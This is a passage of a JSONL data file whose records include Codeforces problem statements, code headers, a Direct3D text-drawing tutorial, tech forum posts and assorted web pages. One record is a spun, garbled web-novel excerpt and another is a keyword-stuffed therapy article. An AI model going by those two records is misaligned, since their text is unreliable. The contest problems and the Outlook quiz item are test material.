make the standards determination process so onerous... The WebKit methodology for dealing with SDOs seems to work because of the surging smart-device market share taking place at the edge of the Web.\"\nThis is how Google was able to demonstrate impressive functionality with Wave and elicit a tremendous surge of energy in the developer community. It didn't wait for approval from anyone.\nGary is probably right in saying that Microsoft has its hooks deep in the enterprise, but as more end-users adopt the smartphone, rather than the laptop, as their portal to Web, standards-compliant applications will become more and more important, washing over not only portable devices but desktops as well. As that happens, and as end-user preferences begin trumping the desires of IT administrators (there was a time not too long ago when IT refused to allow iPhone users access to corporate email servers), Microsoft applications will become increasingly marginalized, at the expense of applications friendly to Google's designs for worldwide -- and desktop -- domination.\n[Image source: Wikimedia.org]", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 858, "token_count_with_eod": 859, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is an easy version of the problem. The actual problems are different, but the easy version is almost a subtask of the hard version. Note that the constraints and the output format are different.\n\nYou are given a string $$$s$$$ consisting of $$$n$$$ lowercase Latin letters.\n\nYou have to color all its characters one of the two colors (each character to exactly one color, the same letters can be colored the same or different colors, i.e. you can choose exactly one color for each index in $$$s$$$).\n\nAfter coloring, you can swap any two neighboring characters of the string that are colored different colors. You can perform such an operation arbitrary (possibly, zero) number of times.\n\nThe goal is to make the string sorted, i.e. all characters should be in alphabetical order.\n\nYour task is to say if it is possible to color the given string so that after coloring it can become sorted by some sequence of swaps. Note that you have to restore only coloring, not the sequence of swaps.", "source": "cpt_codeforces", "language": "en", "token_count": 209, "token_count_with_eod": 210, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n+* Velocity after free updating may violate joint constraint,\n+* Solve joint velocity to set velocity right,\n+* body position may violate joint constraint by error accumulation and discrete time step simulation,\n+* so body position must be corrected.\n+* Distance joint solve method\n+* joint anchor velocity is vp, body velocity is vb, body angular velocity is wb,the vector between body anchor\n+* d(vp) = d(vb) + cross(d(wb),l)\n+* I is the impulse which joint gives to body. I = m*d(vb), cross(I,l) = Interia*(wb)\n+* the constraint is distance(anchor1-anchor2) = constant,it can apply this:\n+* project((vp1 - vp2),(anchor1-anchor2)) = 0\n+* so,we can solve it by the above equations.\nint JointObject_SolveConstraintVelocity (PyJointObject *joint, double stepTime);", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Deriving my answer from the way it currently is:\nClicking anywhere on the layer’s line (left from color well, on color well and on layer name) switches this layer to be active, but clicking on the checkbox (obviously) changes the visibility.\nTo be consistent, I’d expect a left click on the color well to pop up the color chooser dialog or have a different way to toggle the visibility, i.e. no single-left-click, which would be counter-intuitive as well …\n+1 from me for that idea. Maybe it would also suffice if the columns had a heading like in @dbrown2k’s post (eye or lightbulb for the visibility, color pattern for color selection, etc.), then the check boxes might remain the way they are (my guess is that it’s less modification to the code).\nSeems like a good idea to me.\nOn the Linux variants, hitting the right target is much easier as it is in windows because the UI elements have much more spacing around them. I’ve made a few screenshots to illustrate this:\nOTOH, the layer colors are more discernible on Windows since the coloured area on the color wells is bigger.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 246, "token_count_with_eod": 247, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "DJD UK Global Music - Video Cast 001. Dec 2018 - The first Video Cast 001 in the series. This episode features the following videos.\nDGX (UK) - Skanking Up. Krannaken (UK) - Lost Youth (Dream Mix) Colm Jackson (UK) - Tightrope. The McAvaneys (AUS) - Lit The Fuse. Information Control (UK) - Auditory Hallucinations. Lyght (USA) - I'm Not There. Plus a bonus video from Jon Ian Clarke (UK) - Listen To Me 1998 Demo.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Dima and Anya love playing different games. Now Dima has imagined a new game that he wants to play with Anya.\n\nDima writes n pairs of integers on a piece of paper (li, ri) (1 ≤ li < ri ≤ p). Then players take turns. On his turn the player can do the following actions:\n\n1. choose the number of the pair i (1 ≤ i ≤ n), such that ri - li > 2;\n2. replace pair number i by pair $$( l _ { i } + \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor, l _ { i } + 2 \\cdot \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor )$$ or by pair $$( l _ { i }, r _ { i } - \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor )$$. Notation ⌊x⌋ means rounding down to the closest integer.\n\nThe player who can't make a move loses.\n\nOf course, Dima wants Anya, who will move first, to win. That's why Dima should write out such n pairs of integers (li, ri) (1 ≤ li < ri ≤ p), that if both players play optimally well, the first one wins. Count the number of ways in which Dima can do it. Print the remainder after dividing the answer by number 1000000007 (109 + 7).\n\nTwo ways are considered distinct, if the ordered sequences of the written pairs are distinct.", "source": "cpt_codeforces", "language": "en", "token_count": 394, "token_count_with_eod": 395, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Originally Posted by Liam Sinclair\nHi all, does anyone have any info regarding brumation for kingsnakes? currently have temp range from 24C to 30C at basking spot.\nLets see if i have this right, feed them well until november then give two weeks no feed to make sure everythings fully digested. turn everything off until february? lights off for a full 3 months and let temps drop to like 20C? then bring back up in Feb and offer smaller meals to get em going again. wait for the sheds and then pair?\nshould i pair in a large rub (similar like a tarantula or mantis pairing), or let them cohab?\nI have never bred king snakes due to their snake eating habits. But I have bred corn snakes, bullsnakes, and garter snakes, all with brumation.\nI feed well till November, then end feeding. Keep the snakes at activity temperature for two weeks, to let the gut empty, and then drop the temperature to approximately 20C (68 degrees Fahrenheit) for two more weeks. Then darkness and 10-12C (50-55 degrees Fahrenheit) for two to three months for the corns (which seem closest to kings climatically). 5-10 C for the bulls and garters for three months. Give fresh water weekly. Give a hiding box stuffed with paper so the pressure against sides, belly and back makes the snake feels secure. Warm back to activity temperature over a week. Then start feeding.\nBrumation sheet for corn snakes -- https://www.cornsnake.co.uk/snake-brumation.php\nCare sheet for California king snakes -- https://southerncaliforniakingsnakes...-breeding.html", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 372, "token_count_with_eod": 373, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is sort of a general question that has come up in several contexts, the example below is representative but not exhaustive. I am interested in any ways of learning to work with Postgres on imperfect (but close enough) data sources.\nThe specific case -- I am using Postgres with PostGIS for working with government data published in shapefiles and xml. Using the shp2pgsql module distributed with PostGIS (for example on this dataset) I often get schema like this:\nColumn | Type | ------------+-----------------------+- gid | integer | st_fips | character varying(7) | sfips | character varying(5) | county_fip | character varying(12) | cfips | character varying(6) | pl_fips | character varying(7) | id | character varying(7) | elevation | character varying(11) | pop_1990 | integer | population | character varying(12) | name | character varying(32) | st | character varying(12) | state | character varying(16) | warngenlev | character varying(13) | warngentyp | character varying(13) | watch_warn | character varying(14) | zwatch_war | bigint | prog_disc | bigint | zprog_disc | bigint | comboflag | bigint | land_water | character varying(13) | recnum | integer | lon | numeric | lat | numeric | the_geom | geometry |\nI know that at least 10 of those varchars -- the fips, elevation, population, etc., should be ints; but when trying to cast them as such I get errors. In general I think I could solve most of my problems by allowing Postgres to accept an empty string as a default value for a column -- say 0 or -1 for an int type -- when altering a column and changing the type. Is this possible?\nIf I create the table before importing with the type declarations generated from the original data source, I get better types than with shp2pgsql, and can iterate over the source entries feeding them to the database, discarding any failed inserts. The fundamental problem is that if I have 1% bad fields, evenly distributed over 25 columns, I will lose 25% of my data since a given insert will fail if any field is bad. I would love to be able to make a best-effort insert and fix any problems later, rather than lose that many rows.\nAny input from people having dealt with similar problems is welcome -- I am not a MySQL guy trying to batter PostgreSQL into making all the same mistakes I am used to -- just dealing with data I don't have full control over.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Have been using my Trace regularly since September. Today when I got out of the water there were no lights on. I have tried the charger and it still does not light up. I have held the button for long lengths of time.\nThere is no damage to the outside of the Trace.\nAny suggestions on how to get the Trace to work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 71, "token_count_with_eod": 72, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Work lives have changed because of the COVID-19 pandemic. Working from home has become the norm for many of us. And some are musing again about four-day work weeks. In this episode of The Long Way, we explore the changing nature of work with Dr. Erica Carleton, Professor of Organizational Behaviour at the University of Saskatchewan, and Brian Dijkema, Vice President of External Affairs at Cardus.\nTheme Song: Dream Background Beat by MSVoy | https://soundcloud.com/msvoy\nMusic promoted by https://www.free-stock-music.com\nAttribution-NoDerivs 3.0 Unported (CC BY-ND 3.0)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I have 12 YOE as an embedded software engineer. I know C only and never developed with anything else.\nI am currently an SDE 2 in Amazon and got on site interview at Facebook for E5 position. I checked the design interview and damn lol... I am screwed :). Load balancing, sharding, back end vertical scaling.. what the hell does that all mean! Object oriented design... Never heard of it!\nI have 2 weeks to prepare, shall I focus more on the system architecture or the object oriented design? Do I even have a chance? Most importantly do you have good YouTube link to help me understand all that?\nIn the remote chance I don t bomb the design interview, I am wondering if I am not going to get fired on my second day when they realize I am a joke as a generalist engineer.\nObject-oriented design is not that commonly asked these days.\nPS C is not the best language for leetcode style problems due to lack of built-in data structures and memory management. Makes it difficult to whiteboard...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Build a Well\nMore about the project\nThis project aims to build several wells in multiple locations in Africa. Water accesses is one of the most basic human rights and we are trying to provide it. Unfortunately, not many places in Africa have wells or water accesses in general. That’s why we are commited to help.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 65, "token_count_with_eod": 66, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The objective of keyword research is to generate, with good precision and recall, large number of terms that are highly relevant yet non-obvious to the given input keyword. Process of keyword research involves brainstorming and the use of keyword research tools. To achieve the best SEO results, it is important to optimize a website as well as backlinks for the most relevant keywords. It is good practice to search for related keywords that have low competition and still a high number of searches. This makes it easier to achieve a higher rank in search engines which usually results in higher web traffic. The downside of this practice is that the website is optimized for alternative keywords instead of the main keyword; main keywords might be very difficult to rank for due to high competition. There are three essential concepts to consider when conducting keyword research. Good keywords are closely related to the subject of the website. Most search engines use an internal quality system to check website relevance related to possible keywords, a non relevant keyword is unlikely to rank well for a website. Good Keyword that are highly competitive are less likely to rank in the top. Keywords that have no monthly searches generate no traffic and therefore are useless for SEO. Keyword stuffing in a web page should be avoided.\nClick the Download Free Trial button above and get a 14-day, fully-functional trial of CrossOver. After you've downloaded CrossOver check out our YouTube tutorial video to the left, or visit the CrossOver Chrome OS walkthrough for specific steps. Once you have CrossOver installed and running you can come back to this page and click the Step 2 button, or follow the manual installation guide, to begin installing your Windows application.\nAs for the history of the company, as I explained, I created Long Tail Pro back in 2011. At the time, I was creating tons of niche sites and was doing alot of keyword research and content creation. I was trying to figure out what types of keywords would rank quickly in the search engines, specifically Google, and I was frustrated with the other keyword research tools (in particular Market Samurai) out there.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "There are $$$n$$$ piles of stones, where the $$$i$$$-th pile has $$$a_i$$$ stones. Two people play a game, where they take alternating turns removing stones.\n\nIn a move, a player may remove a positive number of stones from the first non-empty pile (the pile with the minimal index, that has at least one stone). The first player who cannot make a move (because all piles are empty) loses the game. If both players play optimally, determine the winner of the game.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "selenium scraper java\n7 freelance font une offre moyenne de $24/heure pour ce travail\nI have good programming experience. I think I can do your work perfectly. If you choose me, I will finish it in time and do my best. I will provide you one month bug free support in our work. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 68, "token_count_with_eod": 69, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Note: to use the D3DX functions you must include the header d3dx9.h and link with d3dx9d.lib (in debug build) or d3dx9.lib (in release mode).\nDirect3D comes with a set of interfaces to help you easily draw text to the screen. It is worth knowing how it does it before using it. This is the traditional method used by games developers:\nDirect3D provides a set of interfaces that can do all this for you. It may not be the fastest method in the world so developers do normally create there own (as described above) but it will do perfectly well to start with.\nAs usual you must declare a pointer to the interface object:\nThe D3DXCreateFont function creates a Windows 32 font and uses that to create its characters. This means there are a lot of parameters to this function call allowing a font to be specified. You can look in the DirectX help and at the Windows 32 CreateFont function for the list of parameters. Below is an example of creating a font with 20 point high characters, in bold and using the Arial typeface:\n// Create a D3DX font object\nD3DXCreateFont( gD3dDevice, 20, 0, FW_BOLD, 0, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT(\"Arial\"), &m_font );\nNow that you have created the font interface object you can use it, so in your render loop after calling BeginScene you could call a function to draw the text e.g.\n// Create a colour for the text - in this case blue\nD3DCOLOR fontColor = D3DCOLOR_ARGB(255,0,0,255);\n// Create a rectangle to indicate where on the screen it should be drawn\n// Draw some text\nm_font->DrawText(NULL, \"Hello World\", -1, &rct, 0, fontColor );\nThe format of the draw call is:\nint DrawText( LPD3DXSPRITE pSprite, LPCTSTR pString, INT Count, LPRECT pRect, DWORD Format, D3DCOLOR Color );\nAs always you must release the D3DX interface before your program exits or on a device reset:\nThe third parameter to the DrawText function is a flag that allows you to specify justification etc. There is also a very useful flag: DT_CALCRECT that causes DrawText to set the passed rectangle to the size required to display the text. When using this flag DrawText will not actually draw anything, it is purely a way of obtaining the size of the text.\nText drawing can be slow and so there are a couple of optimisations provided by the font interface. Unfortunately these are not very well documented so I decided to carry out some tests of my own to determine some real world values.\nI found that passing a sprite object as the first parameter to DrawText improved rendering speeds by up to 4 times - quite a significant improvement.\nThe sprite interface also provides a function to allow you to preload a text string into video card memory - PreloadText. This should theoretically improve performance as the function would not need to assemble the characters each time and upload them to the graphic card. However from my test results I found little speed improvement.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 705, "token_count_with_eod": 706, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You work as a Marketing Manager for Blue Well Inc. You are using Microsoft Outlook 2010 for messaging and e-mailing. MS Outlook 2010 has been configured to use an IMAP account. You want to share your calendar with the other department Members. Which of the following actions will you take to accomplish the task?\nClick the Share My Calendar link on the Navigation Pane.\nClick the Send Calendar link in the Calendar View.\nClick the Publish My Calendar link on the Navigation Pane.\nCreate a message and attach the calendar to it as an item.\nWant to practice for 77-884 - Outlook 2010 ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 139, "token_count_with_eod": 140, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "//\n// Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20).\n//\n// Copyright (C) 1997-2019 Steve Nygard.\n//\n\n#import \n\n@class GEOAnalyticsPipelineSessionConfig;\n\n@interface GEOAnalyticsPipelineUploadStage : NSObject\n{\n GEOAnalyticsPipelineSessionConfig *_sessionConfig;\t// 8 = 0x8\n double _ttl;\t// 16 = 0x10\n}\n\n- (void).cxx_destruct;\t// IMP=0x000000010000a464\n@property(readonly, nonatomic) double ttl; // @synthesize ttl=_ttl;\n@property(readonly, nonatomic) GEOAnalyticsPipelineSessionConfig *sessionConfig; // @synthesize sessionConfig=_sessionConfig;\n- (id)initWithSessionConfig:(id)arg1 ttl:(double)arg2;\t// IMP=0x000000010000a3cc\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Brilliantnovel I’m Secretly Married to a Big Shot – Chapter 2014 – I’ve Never Taught You to Say SuChapter Mean Words coat cattle -p3\nNovel–I’m Secretly Married to a Big Shot–I’m Secretly Married to a Big Shot\nChapter 2014 – I’ve Never Taught You to Say SuChapter Mean Words circle neat\n“You’re requesting for a pounding!” Shangguan Hua struck his child during the facial area and harm himself, but he needed to display his att.i.tude to Ancient Madam and the other Mo household. “I’ve never explained one to say this kind of indicate words and phrases. In which will be the manners?”\nChapter 2014: I’ve Never Trained Anyone to Say This sort of Mean Words and phrases\nShangguan Qing was insulting the Mo loved ones in their own individual dwelling.\nShangguan Qing named Qiao Mianmian a vixen, resulting in Classic Madam’s manifestation to turn unpleasant.\nOlder Madam searched amiable and had no temper.\nShe obtained got somebody to take a look at it ahead of.\nNo matter if the matter was cleared or perhaps not, she already detested Shangguan Qing.\nShangguan Qing was insulting the Mo family in their own individual home.\n“There had been a uncertainty between my little princess and Younger Madam Mo, plus some unpleasant items took place before.”\nSection 2014: I have Never Educated You to definitely Say These kinds of Signify Ideas\nEven if she possessed a unique boyfriend, he’d just mess around along with her.\nShe coated her encounter in agony and looked up at her dad in disbelief. “Dad, you, you reach me!”\nThe Legendary Master’s Wife\nSection 2014: I’ve Never Presented Anyone to Say This kind of Really mean Thoughts\nOutdated Madam looked amiable along with no temper.\nQiao Mianmian was the Small Madam of your Mo household.\nShe transformed around and glared at Qiao Mianmian. “I wasn’t wrong. She was shameless, to start with. She seduced Buddy Zeli!”\n“You’re seeking a whipping!” Shangguan Hua attack his little girl on the experience and injure him or her self, but he needed to demonstrate his att.i.tude to Older Madam and the remainder of the Mo family. “I’ve never explained someone to say these suggest thoughts. The place are the manners?”\nAged Madam was not anymore kind to Shangguan Qing.\nThe Qiao household was just a typical household. At many, people were nouveau riche.\nShe turned around and glared at Qiao Mianmian. “I wasn’t wrong. She was shameless, to begin with. She seduced Buddy Zeli!”\nSection 2014: I’ve Never Coached You to definitely Say This sort of Signify Words\nIf Qiao Mianmian was Fresh Madam Mo, then her so-identified as boyfriend…\n“No, Classic Madam, do not be mad. I didn’t show that at all.” Shangguan Hua found that Aged Madam’s concept was unpleasant, grabbed Shangguan Qing, and walked forwards. He stated anxiously, “Old Madam, I taken my daughter here now to apologize to Youthful Madam Mo.\nOld Madam looked amiable along with no temper.\nQiao Mianmian was the Little Madam with the Mo loved ones.\nShangguan Qing termed Qiao Mianmian a vixen, resulting in Older Madam’s manifestation to make awful.\nIf Qiao Mianmian was Little Madam Mo, then her so-called boyfriend…\nHence, Shangguan Qing didn’t get Qiao Mianmian seriously in anyway.\nShangguan Qing was insulting the Mo household in their own house.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 822, "token_count_with_eod": 823, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Petya has n positive integers a1, a2, ..., an.\n\nHis friend Vasya decided to joke and replaced all digits in Petya's numbers with a letters. He used the lowercase letters of the Latin alphabet from 'a' to 'j' and replaced all digits 0 with one letter, all digits 1 with another letter and so on. For any two different digits Vasya used distinct letters from 'a' to 'j'.\n\nYour task is to restore Petya's numbers. The restored numbers should be positive integers without leading zeros. Since there can be multiple ways to do it, determine the minimum possible sum of all Petya's numbers after the restoration. It is guaranteed that before Vasya's joke all Petya's numbers did not have leading zeros.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "[size=5]When you dowwnloded SP2. Did you take care to download the Home Version and NOT the Professional Version? Also, You must make ABSOLUTELY certian that there are no Spyware or Ad Ware and Especially a virus or hijacker in your BHO fiiles. Your computer must be virgin clean before downloading SP2. SP2 makes a restore point on your system and if their is an existing problem SP2 has no way of knowing that. It simply accepts your system as it is and thus protects what is already there. I am no professional. My system got hijacked a month ago and I nearly had to throw my computer in the trash. Tom Coyote saved my $1000 computer. GOD KEEP AND BLESS HIM... I would also strongly suggest that you run this - http://www.savicom.n...lobalunsub.html\nPS: I use Microsoft's \"Real Time\n\" Giant Anti-Spy Software and, Yahoo Anti-Spy Toolbar and POP UP blocker.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "// Copyright 2017-2019 Espressif Systems (Shanghai) PTE LTD\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"sdkconfig.h\"\n\n#if CONFIG_GATTC_ENABLE\n\n#include \"esp_gattc_api.h\" //for the callback\n\n/**\n * @brief HID BLE GATTC System Callback. Attach it in your code\n * or call it from your gattc event handler to allow the HID stack to function\n * @param event : Event type\n * @param gattc_if : GATTC Interface ID\n * @param param : Point to callback parameter, currently is union type\n */\nvoid esp_hidh_gattc_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param);\n\n#endif /* CONFIG_GATTC_ENABLE */\n\n#ifdef __cplusplus\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Assistant Teaching Professor\nUniversity of California, Santa Barbara\nSanta Barbara, CA 93106-5070\nLuis de Florez Award for Outstanding Ingenuity and Creative Judgement, MIT; Graduate Fellowship for Design and Invention, James Dyson Foundation\nTsai's primary focus at UC Santa Barbara is to contribute to the Mechanical Engineering Department's design program by leading design-focused classes for first-, second-, and third-year undergraduate students. He is interested in early-stage design process, idea generation, creativity, and how products and people interact.\nPhD Massachusetts Institute of Technology\nBS Massachusetts Institute of Technology", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "When you were a child you must have been told a puzzle of bags and coins. Anyway, here's one of its versions:\n\nA horse has three bags. The first bag has one coin, the second bag has one coin and the third bag has three coins. In total, the horse has three coins in the bags. How is that possible?\n\nThe answer is quite simple. The third bag contains a coin and two other bags.\n\nThis problem is a generalization of the childhood puzzle. You have n bags. You know that the first bag contains a1 coins, the second bag contains a2 coins, ..., the n-th bag contains an coins. In total, there are s coins. Find the way to arrange the bags and coins so that they match the described scenario or else state that it is impossible to do.", "source": "cpt_codeforces", "language": "en", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I've attached a screenshot of what I think is a much better solution (to change the website). I think this simple change would alleviate the need for any messages in the application (though still wouldn't object to \"(unstable)\" or \"(development)\" in the title bar, just not a long instructional message).\nThis can be done by adding the following HTML:\n
    \n
  • The latest stable release is: 0.8.5 (recommended)
  • \n
  • The latest development release is: 0.9.0
  • \nYou could obviously make these numbers be dynamically loaded from somewhere, if that makes updating less cumbersome.\nThis suggestion is assuming you have no control over the http://pspp.awardspace.com/\npage. If you do, it would be much better to redesign it so that it has a salient link to the most stable recent release, and a harder-to-find-and-accidentally-download link to the dev version.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 216, "token_count_with_eod": 217, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "traditional in-person therapy, Counseling Centers ;Near Me consisting of convenience, cost, and therapist choice. While there are other online therapy platforms readily available, BetterHelp stands out for its big network of therapists and affordable rates plans. Eventually, the option in between online treatment and conventional in-person treatment boils down to individual preference and specific needs.\nTherapy can be advantageous for a wide range of psychological health conditions. In this article, we’ll explore 10 various conditions that people might have and how treatment can assist.\nDepression is a typical psychological health condition that impacts countless individuals worldwide. Therapy can help by providing a safe space to talk about your feelings and feelings. A therapist can assist you determine unfavorable thought patterns and behaviors and work with you to establish coping techniques and positive routines.\nAnxiety is another typical mental health condition that can be incapacitating. Treatment can help by teaching you relaxation methods, such as deep breathing and mindfulness, and dealing with you to develop coping techniques to handle stress and anxiety triggers.\nPTSD, or trauma, is a mental health condition that can develop after experiencing or witnessing a traumatic event. Therapy can assist by providing a safe space to process the injury and develop coping methods to manage the signs of PTSD.\nOCD, or obsessive-compulsive condition, is a mental health condition characterized by compulsive behaviors and intrusive thoughts. Treatment can assist by teaching you how to identify and handle these behaviors and thoughts, as well as establish coping techniques to handle the signs of OCD. Counseling Centers ;Near Me\nBipolar illness is a psychological health condition identified by extreme state of mind swings, varying from depressive episodes to manic episodes. Treatment can help by offering support and assistance in handling these mood swings, developing coping methods, and enhancing interaction skills.\nEating disorders, such as anorexia and bulimia, are psychological health conditions that can have major physical consequences. Therapy can help by dealing with the underlying psychological and emotional problems that add to the eating disorder, as well as developing techniques to manage the physical signs.\nDrug abuse can be a difficult practice to break, however treatment can be a reliable tool in managing addiction. Treatment can help by attending to the underlying mental and emotional issues that add to drug abuse, as well as establishing techniques to manage yearnings and triggers.\nRelationship concerns, such as communication issues and conflict, can have a significant influence on mental health. Treatment can help by providing a safe area to talk about these problems and establish techniques to improve communication and resolve conflict.\nGrief and loss can be a difficult experience to navigate, but therapy can help by offering support and assistance through the grieving procedure. A therapist can assist you recognize and manage the feelings related to sorrow and loss, along with establish coping strategies to move on.\nTension is a common experience for lots of people, however it can have unfavorable effect on mental health. Treatment can help by teaching relaxation strategies and developing coping techniques to handle stress, along with determining and attending to the underlying psychological and mental issues that contribute to stress.\nIn conclusion, therapy can be a reliable tool in handling a large range of mental health conditions, from anxiety and anxiety to substance abuse and relationship concerns. If you are battling with your psychological health, consider looking for the support and guidance of a certified therapist.\nSeeing a therapist can have many benefits for a person’s mental health and health and wellbeing. Here are a few of the advantages of seeing a therapist from a psychological perspective:\nAmong the main advantages of seeing a therapist is increased self-awareness. A therapist can help you recognize patterns in your ideas, habits, and feelings, along with the underlying beliefs and worths that drive them. By becoming more knowledgeable about these patterns, you can get a much deeper understanding of yourself and your inspirations, which can cause individual development and development.\nEnhanced psychological policy\nPsychological guideline is the ability to handle and manage one’s feelings in a healthy and adaptive way. Seeing a therapist can assist people find out and practice psychological policy strategies, such as deep breathing and mindfulness, that can be useful in minimizing and managing challenging emotions stress.\nBetter social relationships\nSocial relationships are an essential component of psychological health and health and wellbeing. Seeing a therapist can help individuals improve their communication skills, assertiveness, and empathy, which can cause healthier and more satisfying relationships with others.\nIncreased analytical abilities\nTherapy can likewise help individuals develop problem-solving abilities. By dealing with a therapist, individuals can discover to approach problems in a more effective and organized method, determine potential options, and make decisions that are lined up with their values and objectives.\nSelf-esteem describes an individual’s sense of self-respect and value. Seeing a therapist can assist people recognize and challenge unfavorable self-talk and beliefs that can contribute to low self-confidence. Through treatment, individuals can discover to develop a more positive and realistic self-image, which can lead to increased self-confidence and self-regard.\nImproved coping skills\nCoping skills are methods and techniques that people use to handle tension and misfortune. Seeing a therapist can assist individuals establish and practice coping skills that are customized to their specific needs and preferences. Coping skills can consist of mindfulness, relaxation techniques, problem-solving, and social assistance, among others.\nDecreased symptoms of mental illness\nTreatment can also work in reducing signs of mental disorder, such as depression, stress and anxiety, and trauma (PTSD). Therapists use evidence-based treatments, such as cognitive-behavioral therapy (CBT), dialectical behavior modification (DBT), and eye motion desensitization and reprocessing (EMDR), to help individuals manage signs and enhance their general quality of life.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1151, "token_count_with_eod": 1152, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Uh oh! Ray lost his array yet again! However, Omkar might be able to help because he thinks he has found the OmkArray of Ray's array. The OmkArray of an array $$$a$$$ with elements $$$a_1, a_2, \\ldots, a_{2k-1}$$$, is the array $$$b$$$ with elements $$$b_1, b_2, \\ldots, b_{k}$$$ such that $$$b_i$$$ is equal to the median of $$$a_1, a_2, \\ldots, a_{2i-1}$$$ for all $$$i$$$. Omkar has found an array $$$b$$$ of size $$$n$$$ ($$$1 \\leq n \\leq 2 \\cdot 10^5$$$, $$$-10^9 \\leq b_i \\leq 10^9$$$). Given this array $$$b$$$, Ray wants to test Omkar's claim and see if $$$b$$$ actually is an OmkArray of some array $$$a$$$. Can you help Ray?\n\nThe median of a set of numbers $$$a_1, a_2, \\ldots, a_{2i-1}$$$ is the number $$$c_{i}$$$ where $$$c_{1}, c_{2}, \\ldots, c_{2i-1}$$$ represents $$$a_1, a_2, \\ldots, a_{2i-1}$$$ sorted in nondecreasing order.", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "A sequence of $$$n$$$ numbers is called permutation if it contains all numbers from $$$1$$$ to $$$n$$$ exactly once. For example, the sequences $$$[3, 1, 4, 2]$$$, [$$$1$$$] and $$$[2,1]$$$ are permutations, but $$$[1,2,1]$$$, $$$[0,1]$$$ and $$$[1,3,4]$$$ are not.\n\nFor a given number $$$n$$$ you need to make a permutation $$$p$$$ such that two requirements are satisfied at the same time:\n\n- For each element $$$p_i$$$, at least one of its neighbors has a value that differs from the value of $$$p_i$$$ by one. That is, for each element $$$p_i$$$ ($$$1 \\le i \\le n$$$), at least one of its neighboring elements (standing to the left or right of $$$p_i$$$) must be $$$p_i + 1$$$, or $$$p_i - 1$$$.\n- the permutation must have no fixed points. That is, for every $$$i$$$ ($$$1 \\le i \\le n$$$), $$$p_i \\neq i$$$ must be satisfied.\n\nLet's call the permutation that satisfies these requirements funny.\n\nFor example, let $$$n = 4$$$. Then [$$$4, 3, 1, 2$$$] is a funny permutation, since:\n\n- to the right of $$$p_1=4$$$ is $$$p_2=p_1-1=4-1=3$$$;\n- to the 